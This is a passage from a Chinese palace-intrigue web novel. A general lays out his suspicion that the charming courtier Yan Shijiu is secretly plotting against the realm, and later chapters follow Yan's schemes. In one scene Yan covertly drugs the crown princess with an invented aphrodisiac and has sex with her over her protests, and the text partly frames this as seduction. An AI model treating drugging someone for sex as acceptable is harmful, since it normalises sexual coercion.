“黑鳞骑兵已经被狮威军打退到边境了,十万战马也已训练结束。万事俱备,只等最后一战剿灭其根。若胜,黑鳞骑兵从此消失,东南再无外患。可殿下这个时候将我急令召回,搁置战事,给了黑鳞骑兵喘息之机,竟完全是为了——只是为了除掉倪鲲一党……
殿下,你有没有想过,如今玄甲军主力在北迎击洛疆,中部兵力在平叛,三十万狮威军在东南苦战。除了西境不可调动的边防守军,整个楠国就只剩两万禁军和八万京军。若倪鲲真的狼子野心,意图谋反,在我们被牵制在三面战火之时,他早就可以动手了。”
霍乾念重新抬起头,目光复杂地看着南璃君:
“他有一年多,四百多个日夜可以动手,他有八万兵马可以踏平皇宫,可他没有。殿下,究竟是倪鲲奸邪,还是你置先皇遗命不顾,等不及要坐上皇位?”
此言一出,南璃君当即拍案大怒,恰恰证明霍乾念说到了她最痛之处。
先皇遗命,倪鲲辅政十年!
十年啊!
她南璃君一辈子看过几个人的脸色?何以要在一个文臣手下低头十年!
南璃君怒视着霍乾念:“不必说那么多!先解内忧!再除外患!霍乾念!你必须先除掉倪鲲!怎么?你百般推诿!难道你也想站在倪鲲那边?!”
话一出口,南璃君立刻后悔了。
但恶言如覆水难收,这句话已然如一盆冷水,将霍乾念泼了个透心凉。
霍乾念终于知道朝中为何如此对立混乱。
也终于知道,为什么她与倪鲲之间,这么简单的局势,竟无一人像他这样,帮南璃君分析透彻。
因为这些朝臣都看得分明,只要不从南璃君心意,只要敢说真话,等待着他们的就只有“诬以谋反”的死路一条。
霍乾念从来没有感觉这么疲累过,他甚至不知该从哪里劝起。
玉家的确谋逆,可玄都宫变早已证明,先皇对玉家之流早就尽在掌握,不过是借倪鲲之手吸引附骨之蛆,而后一举铲除贪官佞臣。
倪鲲。霍乾念与之打交道并不多,但他总觉得一个能令先皇和先皇后都信赖并委以重任的人,不会那般不堪。
也许,一切都只是南璃君的权欲作祟。
也许,那八万京军不是用来掣肘南璃君的,而是先皇太过了解自己的爱女,知道她必杀倪鲲无疑,因而用来给倪鲲自保的。
再也许,先皇那“东宫监国十年,倪鲲辅政”的临终遗命,不是分权,而是托孤。
先皇以为有倪鲲这个帝师在,十年时间,足够南璃君从一只野心勃勃又傲慢的金丝雀,成长为足以庇佑楠国的真龙凤……
如果真的是这样,倪鲲并不是什么弄权奸臣,而是一片丹心错付,却仍冒着生命危险,意图教会南璃君怎么做个准天子的大忠之臣……
那么倪鲲如今的亲信,朝中的亲近一党,那些在南璃君眼里急欲除之后快的所谓“佞臣”,其实全是忠良……
到底是南璃君真的为人蒙蔽,还是她其实心里也清楚。
只是她不允许有人凌驾于她脆弱的权威之上,指忠为奸便不稀奇……
霍乾念暗吸一口凉气,不敢再继续往下想。
他抬眼看向南璃君,她正为方才脱口而出的那句话感到懊悔,却又倔强地不愿低头,向霍乾念这臣子认个不是。
她穿着一身近乎龙袍规制的华服,满头金玉珠钗,那般倾国倾城的容貌,脸上是一副迫不及待要将所有人踩在脚下、却不堪大任的贪婪之相。
霍乾念第一次为自己感到可悲。
他突然不明白,自己到底在为什么样的君主倾尽霍帮之力,冒死战场杀敌?
此非我等之主。
这句话第一次从他心底冒出来。
第262章 血燕
看着霍乾念一直不说话,脸色越来越冷,甚至开始生出一些陌生又抗拒的疏离感,南璃君心里烦闷。
她不想说出来,叫霍乾念看轻自己,只能动作粗鲁地搅动着面前一碗冰糖血燕,将瓷勺搅得当当作响。
最终,瓷勺碎裂成两半,摔落进殷红的汤碗里。
她烦躁地一把打翻汤碗,血燕泼洒在长锦织金的地毯上。
血燕是比普通白燕窝更为华贵的食物。
是只有金尾红燕才能衔筑出的燕窝,正筑在悬崖峭壁之上。
采燕窝人往往历尽艰辛、攀登悬崖,豁出性命去采,也只能得一钱燕窝。
采得燕窝之后,需要立即多次清洗、挑毛,然后封存入冰匣,快马不停送至京都。
且燕窝不易保存,从采摘下来到运送入宫,最长不得超过十五日。
这需要官差用比运送紧急军情还快的速度疯狂驾马。
驿马四足离地狂奔,马铃声远传二里之外。下一驿站听到后,日夜待命的官差立即上马飞驰。
当后马追及前马,两马相并而马足不停,即在马上交递冰匣。
前马飞奔远去,后马时常由于过度赶路,当即力竭倒地而亡。
不止如此,如今官差运送血燕,还需冒死穿越战区火线......
采燕窝人,驿马,官差......数十条性命只为一碗甜腻的冰糖血燕。
这样艰难才能得来一钱的血燕,南璃君刚刚打翻的那只碗里,足足有二两。
因血燕实在昂贵难得,先皇执政时,曾严禁宫中及京都贵族用此物。
如今不知何时起,南璃君日日都要饮上一碗。
盯着血燕泼在地毯上的脏污,霍乾念心里好像裂开了一道巨大的沟壑,无数妖魔鬼怪从中缓缓爬出。
他闭了闭眼,硬生生将那道沟壑合起来,深吸一口气,开始耐心地说:
“我们暂且将倪鲲放在一边,说一说战事。如今北有洛疆,中有原大楚残寇叛军,东南有黑鳞骑兵。我们至今不知道黑鳞骑兵来自哪里,这三方势力同时进犯,是何人在背后主使,对方真正目的是什么?这应是当下重中之重、关乎国家安危的大事。”
南璃君思索片刻,说道:“我不是没有查过,但一点线索都没有,实在无从查起。”
霍乾念不语,南璃君便知他比她心中有数得多。
不知为何,南璃君突然发现,霍乾念身上竟有着和倪鲲同样的气质。
总在否定她,说教她,一副比她聪明、比她胸有成竹的高高在上的气质,让她无比讨厌。
忍着厌烦,她问:“你有什么想法,说来听听,本殿也许可以采纳。”
霍乾念起身,缓缓走近南璃君,高大的身形和一身气势压得南璃君十分不自在。
他在书桌前站定,指着桌上一份崭新的国势地图,道:
“查不到没关系,背后主使敢挑起国战,就不会轻易露出马脚。我们不妨来点大胆的猜测。如今楠国被侵,谁最受益?
洛疆与我国有‘杀友军,屠王室’的历史旧仇,比起他们想要侵占楠国疆土,我更愿意相信他们几次三番打入北境,耍的玄甲军疲累至极,更像是泄愤;
原大楚叛军也简单,他们想要复国,拿回被楠国吞并的疆土。这两国的目的都很明确。那么再看楠国临近的其他国家。昭国和东炎都是借兵的友国,那么便只剩西炎。黑鳞骑兵也许是西炎的兵。”
“西炎?”南璃君惊讶,她从没往这个安静的没什么存在感的国家想过。
霍乾念及时控制住表情,没有皱眉,他道:
“照如今黑鳞骑兵处处掩藏身份来看,西炎不愿正面与楠国为敌,大概是自知没有足够力量吞并楠国,也不想日后与楠国结仇。
西炎所求也许不在楠国,而在东炎。东西炎本为一体,数十年前分裂至此,东西两国国君一直都希望吞并对方,一统疆土。所以——”
停顿片刻,霍乾念报着最后一丝希望,无比诚恳地对南璃君说:
“依我推测,这一切的幕后主使可能向西炎许诺,若愿意将黑鳞骑兵给他调遣,助他筹谋侵楠,便将东炎拱手让给西炎。因此,无论从地理位置上看,还是从东西炎旧仇看,这个人很可能是东炎的人,而且极有可能是皇族中人。
此人在东炎不受重用,自知前途无望,便图谋我楠国江山。东炎有二十多位皇子,人多又分散,不易查,且若派出的探子被东炎皇帝发现,容易与我国生嫌隙。殿下若愿意,最好密信与东炎皇帝,请他查验诸位皇子。”
南璃君半张着嘴,惊愣地不知怎么回话,为什么那么复杂又诡谲莫测的局势,从霍乾念嘴里说出来,竟这么简单明了。
她突然觉得眼前这个男人,远比他暴露出来的还要心思深沉又谋略超群。
心里有点酸,有点嫉妒,又十分佩服,南璃君问:
“好,那就依你所说,我写信与炎绰舅舅,试着查探一番。”
霍乾念盯着南璃君的眼睛:
“殿下想好,这信一旦发出,只要走漏一丝风声,等于是给东炎皇帝下催命符,幕后主使必定杀之。甚至有可能凭此向楠国借兵增援。
楠国有亏欠东炎先前两万借兵的短柄在,只要楠国将最后八万京军借出去,其他所有兵力又都被牵制在战场,京都空无防守,幕后主使不肯放过这大好机会,必怂恿西炎率军来犯!楠国危矣!”
这一字一句严肃又骇人,砸得南璃君愣在原地,半天才反应过来。
如果真像霍乾念所说,那么她一开始提出为杀倪鲲而特意将京军调走的想法,是多么可笑,无异于开门迎敌,自毁国土。
但谁愿意承认对方聪明绝顶,而自己愚蠢又错误的可笑呢?
南璃君下意识不愿相信这番话,质问:
“太荒谬了,如果真像你所说,那这幕后主使会是谁?谁有这本事?”
霍乾念直视着南璃君,缓缓开口:
“颜卿。”
第263章 人教人,教不会
当霍乾念说出“颜卿”二字的时候,南璃君差点没反应过来,那正是颜十九的大名。
而在意识到霍乾念一脸郑重严肃,没有一点玩笑意思的时候,南璃君不禁瞪大眼睛,嘴巴也张成鸡蛋大,说话都带点磕巴:
“颜……颜十九??你的意思是,这一切的幕后主使是颜十九??他是东炎的皇子??你有什么证据?”
霍乾念摇头,“没有实质性证据,我说了,只是我的推测。”
南璃君忍不住“扑哧”一声笑出声,又赶忙掩住口,努力正经道:
“你说的煞有其事,却根本没有证据。‘颜十九’?哈哈,你好歹说个像一些的人吧!”
对于南璃君这反应,霍乾念并不意外,“局势我已分析完,信不信由殿下决定。至于我说的幕后主使乃是颜十九,也不全是空穴来风。霍帮剿灭玉家时,被引至固英城外,差点遭黑鳞骑兵屠灭。
这足以证明,幕后主使一定从霍玉之争开始,就一直参与其中,熟悉掌握局势动向。而颜十九正好是除霍帮之外、跟随殿下最久的大商。只不过我还没有找到他与玉家有联系的证据。
后来我与云琛前往幽州借马,我故意叫探子散播消息,说十万马匹将于九月中秋后出发,只将马匹已于三月出发、小暑即到的真正时间消息,散播在幽州外东北方向。
如事实所见,黑鳞骑兵已于小暑前紧急弃城撤退。而颜十九的私宅燕雀堂,正在东北方向的东海龙城。我不信有这样巧合,只可能是他在龙城的探子得到消息,告诉他狮威军的马快到了。”
不止这样,霍乾念与云琛行官道回京时,那遇刺之事也很微妙。
甚至恰恰因为这件事,才使霍乾念最终料定幕后主使是颜十九。
云琛在屋子里沐浴时,霍乾念独自在外战杀刺客。
当听到他称呼云琛为“夫人”时,那刺客脱口发问“不是两个男人吗?”
这话乍一听没毛病,但细一琢磨却很有意思。
得是多么愚蠢、多么没有职业水平的刺客,才会以“两个男人”这种毫无特征可言之处为标记,追击暗杀目标?
一路寻着官道杀进官驿,只为从男人堆里杀“两个男人”?
不如说杀“两个将军”还更有标志性一些。
只刺客那一句话,足以使霍乾念更加确定,背后之人一定是颜十九。
“杀两个男人”,大约是颜十九已发现在狮威军运送战马的时间消息上,被抓住了狐狸尾巴,急于装作幕后主使是个不知云琛女儿身份的人,以此撇清他自己。
颜十九很聪明,可在霍乾念眼里,不过此地无银三百两。
只是这件事关乎云琛女儿身份,霍乾念无法对南璃君说出口。
霍乾念继续说:“颜十九在固英城被俘,究竟是真战败还是假战败,不得而知。如果黑鳞骑兵真是他的,两万东炎借兵全因他做戏而故意杀之,作为东炎皇子,对自己国家的战士尚且如此,足见其狠毒和决心,一切只为一个目的。”
南璃君下意识接过话,问:“什么?”
“接近你。”霍乾念肃然道:
“他需要战败,光明正大地回京接近殿下,一则伺机在朝中培养势力,二则等西炎攻入京都,他便取而代之在楠国称王。所以他一定会想尽办法留在京都,并走到一个最靠近殿下你的位置。”
用近乎恳求的语气,霍乾念已是苦口婆心地在说:
“一切都是我的推测而已,殿下可以不信,也可以继续筹谋杀倪鲲。只有两件事,我希望殿下能做到,一是万万不可轻易调八万京军离京,使京都空无防守;二是一定不要让颜卿接近你,不要给他任何谄媚之机。”
霍乾念说完,南璃君的脸色变得十分复杂,几乎不敢正视他。
在南璃君的沉默中,霍乾念敛平所有心绪,大步离开书房。
他从东宫径直走到永安大殿,只见夜宴已散去,四处只剩残羹冷炙,宫人在一旁忙着收拾打扫。
那华丽巨大的五彩雕凤仍伫立在中央,一个衣袂飘飘的清癯瘦影正静立在旁。
霍乾念走过去,同那人一起看着五彩雕凤。
“这么华贵美丽之物,不过短短两个时辰,就破败腐朽了,着实可惜。老朽匆匆赶来,终是没有赶上。”倪鲲开口说道。
风吹动他衣袂轻摆,他的两鬓已斑白,看起来像位饱读诗书的老者,看不到一丝奸诈弄权之态。
霍乾念打量五彩雕凤发黑发卷的边缘,整个凤身已干裂发蔫,上面镶嵌的宝石都已摇摇欲坠。
他指了指雕凤,道:“这上面的宝石多来自琉璃岛,只一颗,足够狮威军一个师的月饷。这几年开战,总是霍帮在垫付军费。究竟是军饷迟迟下不来,还是东宫忌惮霍帮财大,意欲削之呢?”
倪鲲没有回答这个问题,只是用有点玩笑的语气道:
“霍将军别问我,最好也别同我说话。否则只怕连累你,也成了我‘倪鲲一党’,下次中秋宴也不叫你了,得像我一样,厚着脸皮自己来,还没赶上。”
霍乾念笑不出来,他摁住眉头,努力抚平眉心的皱痕,“丞相大人所言极是。我没有别的话,大人多加小心,愿大人平安。”
“哈哈……”倪鲲不在意地笑笑,“无妨,我不过一条老命,若能换得一代君王长成,那实在划算。有时候,人教人,教不会,事教人,一次就够。请霍将军多些耐心,给她点时间吧。”
“但愿我等得了,楠国,还有那千千万万老百姓们也等得了。”撂下这句话,霍乾念大步流星地离开。
第264章 红颜祸水
另一边,云琛在永安殿的夜宴结束之后,久等霍乾念不至,作为武将,她不得在宫中无事久留,只能先行离宫,打算回霍府等霍乾念。
出了宫门,走到半路,她又想起宴席间云望处处与她避嫌的样子。
她觉得自己也该与霍乾念避避嫌,干脆改路往她自己的少将府走去。
她回京刚一天,还没去过少将府,宫里给她的地契也不在身上,无从找地址。
她在街上转了半天都没找到府在哪里,只得拦住打更人问路:
“大爷,劳驾问一下,少将府怎么走?”
“你是谁?大半夜找少将府干什么?”
“我是少将,我想回府睡觉。”
“......”
嘟囔了句“有毛病”,打更人指了下方向,一步三回头地狐疑走远。
云琛按照方向找到府邸,只见簇新的“云少将府”的牌匾挂在正门上,一看就是霍乾念的字。
她翻墙跳进大门,在崭新平白的墙面上留下一个黑脚印,一跃落定院中。
抬眼望去,四处飞檐反宇,装饰简约大气,又不失威势赫赫。
前院中,一座黑岩石屏上雕刻着青牛祥云,中堂高墙上悬着十八般兵器,四处都是她喜欢的武将风格。
大厅里,贺礼堆得小山一样高,都是恭喜她新府落成的。
大大小小的箱子、匣子都用红绸包裹着,上面挂着名签,写着送礼人的家门和姓名。
她打开一个包裹,是宋禄伯爵府送来的一套软银护甲。
看着十分贵重,却是没上过战场的人才能想出来的玩意儿,软银那东西,连狗咬都扛不住,更不要说刀砍剑杀。
再拆开一个包裹,是李尚书府送的一对如意鸳鸯梅青瓶,她眯眼对着瓶口瞧了瞧,拿来投壶正合适。
又拆了几个包裹,都是些看起来就很贵的东西,她便单独去看名签,找到云望送的包裹,迫不及待地拆开看。
她儿时在云府,因为与白氏生分的关系,和云望相处并不多。
只记得从前他总是屁颠屁颠地跟在她后面,想和她一起溜出府去学凫水。
她偏不带他,还拿小石子打他。
他便可怜兮兮地站在原地,眼巴巴望着她走远。
等她玩够了回来,才发现全家都在前厅用晚饭。
她缩着脖子走到桌边坐下,脸和胳膊上都带着凫水又晒干后,一层细细的白盐粒子。
云中君留意到她身上,刚要发火,云望动作细微地伸出两指,贴在桌上一盆珍珠翡翠白玉汤的盆身上,试了试温度,然后“不经意”打翻汤盆。
热腾腾的汤水全部泼洒在了他身边的云恬头上。
云恬顶着一头菜叶子哇哇大哭,立马吸引了所有人的注意,云中君自然将质问云琛的事抛在脑后。
所以云琛从小就知道,云望虽然表面上看着斯斯文文,实际一肚子小黑暗,不能随便惹。
因此,明明她是长姐,可一对上云望,她不觉就成了“乖乖听话”的那个。
她将云望送的包裹拆开,里面竟然乱七八糟什么都有。
有一副青齿獠牙的半脸面具,造型如恶鬼,材质厚重坚硬,看年岁应当是珍贵的前朝之物。
云望向来喜爱书籍和古董,估计是他从哪里重金淘来的。
云琛在战场上名头很响,一则是因她的本事,二则是因为她容貌阴柔俊俏,敌方阵前叫骂时,总要先骂她一句“小白脸”。
有了这面具,她今后打仗时便能方便许多,实在是一件送到点子上的好物。
面具底下是一张治疗寒症的难得古方,经常凫水之人容易寒气入骨,此方可以驱除陈年旧寒;
旁边还放着一只桃木弹弓,弓身雕刻着莲花,一看就是云莲城塞进来的。
再往下是一个小匣子,她正奇怪怎么箱中还带匣,打开来,入眼先是一条白氏最擅长的刺绣围脖,而后便是一本云氏族谱的誊抄本。
那原本画着黑线以表离世之意的“云琛”二字,如今又展挺地写在纸上。
族谱之下,先是长长一份嫁妆礼单,而后附着厚厚一沓地契和商约书,是云中君留给她的一份家产。
云望,云岚,云恬,都有。
如今云琛也有。
若云中君离世,儿女们便可凭这些家产分出去,自立门户。
云中君留给云琛的这一份,几乎都是云氏最兴旺的商户、土地和草场。
山之海草场被列在其中,后面还有一行小字,一看就是云中君后补上去的:
“正东巨毛草之地,所有风铃花悉数归云琛所有。”
云琛想象不出云中君写下这行字的时候,有多么扭捏不情愿。
威武粗糙如云中君,这辈子恐怕没有几次如此肉麻浪漫的时候。
想要给女儿寄一份贺礼,只有悄悄藏在云望的礼物箱送出,最为稳妥。
云琛将草场地契贴在胸口,心中好像有无限的暖意在涌动。
她坐在礼物堆簇的小小“红山”前,环顾这座雕梁画栋的宅院。
她第一次拥有自己的府邸。人人都在祝贺她。
不依靠任何人,一步一杀,一步一流血,这是她自己挣来的家业和功勋。
莫名的,她有些热泪盈眶。
但她却分不清这眼泪是感激还是难过。
她感激东宫认可她的忠勇拼杀和辛苦,如伯乐一般赏识她这匹千里马。
同时也难过,这么好的府邸,若荀戓和小六也在,该多好。
若江鸣看到自己的徒儿做了少将,住着这样大的宅院,会不会欣慰自己老有所依。
若丹蔻也在,妙妙也在,老奶奶也在……
若所有人都在,都来贺她乔迁新府,痛痛快快吃喝一场,该多么好……
望着偌大的寂静府邸,她突然觉得心里空落得发慌。
她受不了这种安静,决定去霍府待着,兴许能舒服些。
不想惊动府中守夜的仆从,她预备再翻墙跳出去,刚想跃起,却见墙头已经立着一道身影,不知已来了多久,正笑看着她。
颜十九穿着一身镶满金边花纹的月白色华袍,长发半束半披,衬得他剑眉星目,俊朗非常。
比起在固英城时,他身形又宽阔起来,虽不复从前那样高壮,偏精瘦了些,却恰好瘦掉娃娃脸,削弱了他从前的孩子气。
如今的他,脸颊清瘦又锋利,满身都散发着成熟的男人味,甚至还透着一点说不出的邪魅。
他用一双摄着熠熠幽火的眼睛看着她,声音低沉又充满磁性:
“云琛,好久不见。”
云琛笑起来,仰头望向他,“好久不见,颜十九,瞧你这鲜亮的模样,可见东宫没有责罚你,真好。”
颜十九潇洒地单膝蹲下,更近一些看着云琛,“离开你的这几个月,我专心美容养颜来着,你觉得效果如何?”
云琛后退一步,仰头认真打量:
“不错,很好,比以前还要英俊,甚至有点‘红颜祸水’的味道。”
“哈哈哈哈哈——”对于她这形象的形容,颜十九哈哈大笑,甚为满意。
云琛揉揉有点发酸的脖子,“正好我要出府,我上去和你说话吧,仰着头,脖子好酸。”
她说罢跃上墙头,颜十九却猛地起身后退,远远弹跳到离她十丈之外的位置,动作幅度之大,吓了她一跳。
看着颜十九避她如瘟疫的样子,她奇怪地闻闻自己身上:
“我没啥味儿啊,你怕啥呢,突然跑那么远?”
颜十九笑而不语,只道了句“我还有事,看看你就得走”,而后轻功一跃,身影消失在墙头。
她早就习惯颜十九这个“神经病”的风格,无语地耸了下肩,朝霍府而去。
第265章 一个男人就足够
离开云琛的府邸,颜十九轻功不停,一路行至皇宫西侧,从宫女太监们出入的小门,熟门熟路地递牌子进去,避开路上三三两两巡逻的侍卫,径直进入东宫殿。
经过书房的时候,他瞧见两个宫女在刷地毯,南璃君常用来装冰糖血燕的玉碗放在一边,看样子是血燕被打翻了。
他眯起眼睛仔细瞧,不确定南璃君打掉多少,又吃进去多少。
为了以防万一,他从怀里摸出一颗备用药丸,刮下针尖大小的一块,含在舌下。
他从寝殿的后门进入,见四下无人,没有女官和宫人值守,便知南璃君已等他很久。
果然,一见他进来,正在桌边看奏疏的南璃君扔下手中御笔,不高兴道:
“你那么急急地去哪里了?我等了快一个时辰!”
他笑嘻嘻地走过去,并不说话,只从身后拥住南璃君,一边亲吻她雪白的脖子,将舌下的药粉融化在她皮肤,一边将手从她衣襟伸进去,轻揉慢拢地放肆起来。
南璃君闻着熟悉的依兰香味,眼神逐渐迷离,呼吸很快变得粗重。
感觉到南璃君的反应,颜十九微微勾唇。
玉家的“销魂一笑”永远有用。
不管是下在燕窝里,与他身上的依兰香粉配合,还是单独融化进皮肤,都是那么好用。
只一点点,便可令人浑身燥热,情动难耐。
南璃君的衣裙很快落在地上,那朱红色的御笔掉落在衣服上,氲开如血的深红。
颜十九将她摁在书桌上,正倒在成堆的奏疏上面。
南璃君赶忙直起身子,“不可不可,太大逆不道,于礼不合……唔……”
她后面的话全部被吞进颜十九的口中。
他不容拒绝地再次将她摁下,一边身下动作,一边贴在她耳边,声音魅惑又温柔:
“这算什么。你又忘了吗,你是楠国的女皇,这天下都是你的,你想怎样都可以。‘大逆不道’?你就是‘法’,你就是‘道’。我尊贵的女皇陛下,别想那么多,请享受我,好吗?”
不知是药效过猛,还是颜十九的话语太蛊惑,南璃君彻底失去神智,不再反抗,开始任由他摆布。
到最深处时,她用带着忍耐和哭腔的声音楚楚可怜地问:
“颜十九,你真的爱我吗?”
在她看不见的背后,他面色剧变却又瞬间平复,狠狠一下冲击,惹得她发出一声高亢叫喊。
他随之捂住她的嘴,又缓缓抚摸向上,将手指插进她浓密的发中,轻轻抓住,微微提起,迫使她仰起头。
他从后贴近她耳边,声音愈发妖魅:
“我是这世上最爱你的人,爱到恨不得将你一口一口咬碎了吞进去,怕不怕?”
“不怕……”
“嗯?不怕我?”
“啊……怕……我错了……颜十九……你别……啊……”
春宵半夜,暖水溢如洪。
最后,南璃君累得精疲力尽,倒在榻上沉沉睡去。
颜十九则重新穿起衣袍,推门走出寝殿。
和过去几个月一样,殿外只有知罗一人值守。
他与南璃君的秘密,只有知罗知道,这也是知罗能那么快与菘蓝平起平坐的一大原因。
见颜十九衣冠不整,脸颊有一挑未褪的绯红,知罗微微皱眉,后退两步,拉开与颜十九的距离。
颜十九并不在意,他潇洒地摸摸头发,笑看着知罗,“怎么样,考虑清楚了吗?”
知罗目光戒备地看着他,并不说话。
他撇撇嘴,“行,白瞎我一番好心。那你便安心做女官,一直做到云琛婚娶为止,你都还是个小小女官,到时候吃喜酒,咱俩可以一起去。”
这几句话显然刺痛了知罗,她面色一白,心中异动不止。
颜十九看得分明,故作叹息:
“你是希望云琛永远记得一个害死那么多固英城老百姓的蠢货,还是见到一个在女皇身边呼风唤雨、可以助丈夫青云直上的你?我说过,只要你能做到殿下身边的大女官,为女官之首——
殿下一定会为笼络武将而给你赐婚,到时候我便建议将你许配给云琛,殿下必然应允。除此之外,你还有什么法子嫁给云琛呢?你在京都,云琛在战场,你们一年到头连面都见不到的。”
对于颜十九这话,说不心动是假的。
但知罗也很清楚,这事说起来容易,做起来很难。
崧蓝家世高贵,又与南璃君有一起长大的情分。
若不是知罗乖觉地保守着南璃君与颜十九的秘密,从心理上得到南璃君一种隐秘的信任,只怕她根本没有与崧蓝平起平坐的机会。
而这还要得益于颜十九的推荐,南璃君才允许每次密会时,只让知罗值守。
“崧蓝与殿下感情深厚,又有父兄掌管两万禁军,身居要职相护,地位难以撼动,我不信你有什么法子。”
知罗这话一出,颜十九便知有戏。
他朝知罗勾勾手指,示意她靠近些说话。
知罗下意识看了眼寝殿南璃君的方向,走近两步,却不肯离颜十九太近。
颜十九目光灼灼,笑容意味不明,“‘感情深厚’如何,‘自小一起长大’又如何?想要两个女人破裂,一个男人就足够。”
知罗瞪大眼睛,显然已猜到颜十九的计划,不禁压低声音惊问:
“你疯了?你不怕殿下降罪菘蓝之前先杀你?”
颜十九嗤笑一声,“我既敢用这个法子,自然有办法将我自己择干净,再说了——”
他看着知罗,笑得颇为浪荡,“我是殿下的第一个男人,你也是女人,应当知道这分量。她特爱我,你应当看得出来。”
知罗厌恶皱眉,却不得不承认他说的是实话。
几个月前,她与颜十九一同回京领罪。
她心惊胆战地跪着等候发落,颜十九却胆子很大,敢当着所有人的面向南璃君抛媚眼。
南璃君很惊讶,却没有斥责他。
他便愈发放肆。
南璃君在花园崴脚的时候,他竟敢直接打横将人抱起,脱下南璃君的鞋袜,徒手握住那纤细赤裸的脚踝,轻轻揉捏。
南璃君的脸都红透了,斥责了他两句,他却嬉皮笑脸毫不在意,日日入宫缠着南璃君,上朝路上堵,下朝路上追。
这么死缠烂打了三个月,最后不知他耍了什么手段,不仅没有获罪,反而成了南璃君的情夫,甚至还举荐知罗为女官。
她想,大概是因为南璃君自小见惯了规矩体统的男人,还是第一次遇见颜十九这样无法无天的。
再加上颜十九确实生得英俊非常,是女人们常喜欢的风流浪子。
好女怕缠郎,诚不欺人也。
知罗从颜十九脸上看不出什么,比起用情至深,她觉得他更像在全力完成一项热情又投入的表演。
但在情窦初开的南璃君脸上,知罗则切实看到春心萌动,真动心的样子。
这样看来,颜十九的算计加上枕头风,也许真的可以一试。
知罗思索许久,问道:
“我不太明白,这样对你有什么好处?扳倒菘蓝,扶我上位,只为让我嫁给云琛?”
颜十九两手环胸,抱着胳膊。明明是一张俊美非凡的脸,可那笑容里偏生透着一股肆意的阴森。
“你那么爱云琛,应当知道霍家两兄妹都醉心于她。云琛非池中之物,有可堪大将之才,假以时日必光芒万丈。只是她不可以和霍氏在一起。殿下不会允许云与霍结为一体。我趁早解决这麻烦,是为了救云琛,我与她交好至亲,这你是知道的。”
这话真假参半。
知罗从来没有想过这一层,也从没有想过这么远。
听颜十九的意思,将来皇帝必定重用云琛。但只要云琛与霍氏兄妹纠缠在一起,就注定前途黯淡,甚至灭亡吗?
知罗突然觉得,自己好像有了极其正当的理由去扳倒崧蓝。
无关她想嫁给云琛的私心,一切都只是为了护着云琛的前途无量。
是这样,没错,她不是为了自己。
看着知罗脸上变换来去的神色,颜十九满意而微讽地勾唇。
第266章 王权之下
回到寝殿,南璃君仍在沉睡。
颜十九走到榻边坐下,拉开南璃君身上的薄被,细细打量着自己的杰作。
这样一副凝脂如玉、吹弹可破、如昂贵绸缎般精心呵护了二十年的肌肤上,全都是他留下的点点青紫绯红。
他发现自己很喜欢看她蹙眉,尤其是那种微微痛苦又强忍的样子,总能撩拨得他失去理智。
南璃君蹙眉的样子美极了,她长着一张国色天香到无可挑剔的脸。
任他在东炎皇宫里见惯了炎绰的美貌妃子们,在烟城以一个盐商身份见到南璃君时,仍觉惊艳不已。
南璃君的美令人痴迷,当她和其他人站在一起的时候,总让人觉出一种凡人与仙女的强烈对比,她美得不像这世间的人。
多亏南璃君美貌至此,他的戏才能演得那么投入逼真。
美丽的东西,谁不喜欢呢?
一个被君王捧在手心上长大,又自负美貌智慧无双的女人,估计就是明明白白告诉她,她也不会相信,这世上竟有人宁爱一个女扮男装的家伙,而不爱她。
只可惜不论他怎么热情,怎么卖力,恨不能撕咬那雪白肌肤吞下去,却还是觉得饥肠辘辘,不够饱,不过瘾。
有时候,就连颜十九自己都分不清,那销魂一笑到底是给南璃君用的,还是给他自己用的。
为什么有南璃君这样的尤物在怀,他却满脑子都是火光闪过窗棂的那天,昏黄色的光照在云琛的脸上,从不服软的她,少有地露出小女子的无助和娇态,躺在他的身下无处可逃。
他抬手抚摸南璃君细腻的肌肤,早知这么容易就能获得这女人的心,他何苦筹谋十几年,以将东炎送给西炎为代价,换得二十万黑鳞骑兵呢?
出卖色相诱惑女王多轻松,只要他能牢牢抓住南璃君的心,用不了几年,这楠国便能由他说了算。
只是人心最易变,他不是一个将未来托付在女人身上的人。
他想按原计划在东炎起战,以借兵为由头,设计将楠国这最后八万京军调离,而后令西炎攻入皇城。
只是那碗打翻的血燕实在不妙,让他心里生出不安定的感觉。
他问过宫人,今晚中秋夜宴上,南璃君曾与霍乾念在书房单独议事,血燕正是在那个时候被打翻的。
那么霍乾念究竟说了什么,会让南璃君气得将血燕打翻呢?
再结合方才鱼水之欢时,南璃君突然莫名其妙问的那句“颜十九,你真的爱我吗?”真是让人越琢磨越发慌。
一直完美隐藏在黑暗中的他,不知什么时候,已被深处更犀利的一双眼睛盯上——
霍乾念。
狮威军的战马,官驿的刺客,黑鳞骑兵,声东击西的阴谋……他不知霍乾念猜到多少,但他必须做最坏的打算,放弃原来的计划,筹谋个更隐秘的新局出来。
说实在的,若不是敌对状态,他真的很想和霍乾念结成同盟。
这天下恐怕找不出第二个像霍乾念这样敏锐又洞察到令人生畏的谋略家。
如果霍乾念能为他所用,他只需天天倒头睡大觉,这天下便可悉数收入囊中。
想到这里,他自己都觉得荒诞可笑。
但为君者必须有容人之量。
作为皇帝,站得足够高,心胸必得足够宽阔,方能容纳千千万万性格迥异的贤能之臣。
待他在楠国称帝之后,拥有云琛之后,那么他可以饶霍乾念不死,甚至重用他为丞相亦可。
这便是他曾对云琛说过的封侯拜相。
他要封他权下的侯,拜他权下的相,做楠国之王。
他也可以仍留着南璃君的性命,册封她为妃。
只要南璃君老老实实地匍匐在他的脚下,他愿意将南璃君安置在离云琛最近的宫殿,将嫉妒、算计、争风吃醋......一切宫斗的戏码喂到云琛的嘴边,只要她吃下去,他便可以永远握住她的心。
越想越深,越想越远,他不觉手中用力,捏得南璃君轻哼一声,在梦中皱起眉头。
他立刻松开手,疼惜地吹吹那被他捏痛的地方,仔细地帮她盖好薄被。
第267章 好手段
过了中秋,天气越来越凉。
京都城里,各家饭馆都上了热锅子,熬煮起适宜秋季进补的食材。
云望在府上设羊肉宴,遍邀京中亲贵。
因他勤勉尽责,为人处事精明周全,既有转圜的手笔,又有文人自省自重的骨气在,这两年升任得很快,如今已做了章察院的正院史,高官权贵不敢轻视他。
再加上云府早已放出风声,霍侯爷必出席。
亲贵们一向对霍乾念趋之若鹜,便纷纷携家眷赴宴。
等霍乾念和云琛坐着同一辆马车抵达云府时,只见云府锅气蒸腾,云雾缭绕,宛如一个羊肉味冲天的大火锅。
花绝从车上探出头,“好家伙,这是给全京都的羊诛九族了?开了多少羊肉锅子?”
不言压在花绝肩头,不顾后者一个劲儿抗议被弄乱了发型,啧啧道:
